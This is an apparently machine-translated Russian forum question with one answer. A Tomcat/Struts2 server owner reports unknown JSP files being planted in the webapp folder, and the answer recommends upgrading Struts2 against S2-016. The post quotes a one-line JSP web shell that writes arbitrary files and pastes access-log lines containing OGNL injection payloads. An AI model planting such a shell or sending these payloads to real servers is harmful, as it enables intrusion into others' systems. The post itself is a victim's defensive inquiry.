Загрузка файлов Tomcat - лазейка в системе безопасности
У меня есть попытка хостинга приложения struts2 в открытом доступе, используя tomcat 7x с Apache 2.2.
Я вижу некоторые вредоносные действия в папке моего веб-приложения.
Каждый раз, когда я вижу некоторые файлы, такие как indcx.jsp, maneger.jsp, uplod.jsp и т. Д., И многие такие неизвестные файлы загружаются в папку tomcat / webapp / application.
Я вручную удалял эти файлы каждый раз, но хотел узнать, есть ли у нас какие-либо настройки или конфигурации, которые могут избежать такой злонамеренной / хакерской активности и загрузки таких неизвестных файлов.
редактировать
Я снова видел такие файлы и содержимое файла, как показано ниже
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>
Мой вопрос: как кто-то может загрузить этот файл на мой сервер?
Редактировать снова
После тщательного анализа это выглядит сейчас как проблема безопасности или уязвимости в Struts2 или xwork, вот все журналы, которые рассказывают большую часть оставшейся истории
60.15.137.72 - - [27 / Jan / 2014: 17: 51: 48 +0530] "GET /common/test.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2. dispatcher.HttpServletRequest '),% 23b% 3d% 23a.getRealPath (% 22 /% 22),% 23matt% 3d% 23context.get (' com.opensymphony.xwork2.dispatcher.HttpServletResponse '),% 23matt.getWriter ().println (% 23b),% 23matt.getWriter (). flush (),% 23matt.getWriter (). close ()% 7D HTTP / 1.0 "200 74
60.15.137.72 - - [27 / Jan / 2014: 17: 51: 48 +0530] "GET /common/test2.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2. dispatcher.HttpServletRequest '),% 23b% 3d% 23a.getRealPath (% 22 /% 22),% 23matt% 3d% 23context.get (' com.opensymphony.xwork2.dispatcher.HttpServletResponse '),% 23matt.getWriter ().println (% 23b),% 23matt.getWriter (). flush (),% 23matt.getWriter (). close ()% 7D HTTP / 1.0 "200 74
60.15.137.72 - - [27 / Jan / 2014: 17: 51: 49 +0530] "GET /common/test3.action?redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2. dispatcher.HttpServletRequest '),% 23b% 3d% 23a.getRealPath (% 22 /% 22),% 23matt% 3d% 23context.get (' com.opensymphony.xwork2.dispatcher.HttpServletResponse '),% 23matt.getWriter ().println (% 23b),% 23matt.getWriter (). flush (),% 23matt.getWriter (). close ()% 7D HTTP / 1.0 "200 74
1 ответ
Похоже, вам нужно обновить ваши стойки2. Некоторые версии уязвимы для того, что вы описываете: http://struts.apache.org/release/2.3.x/docs/s2-016.html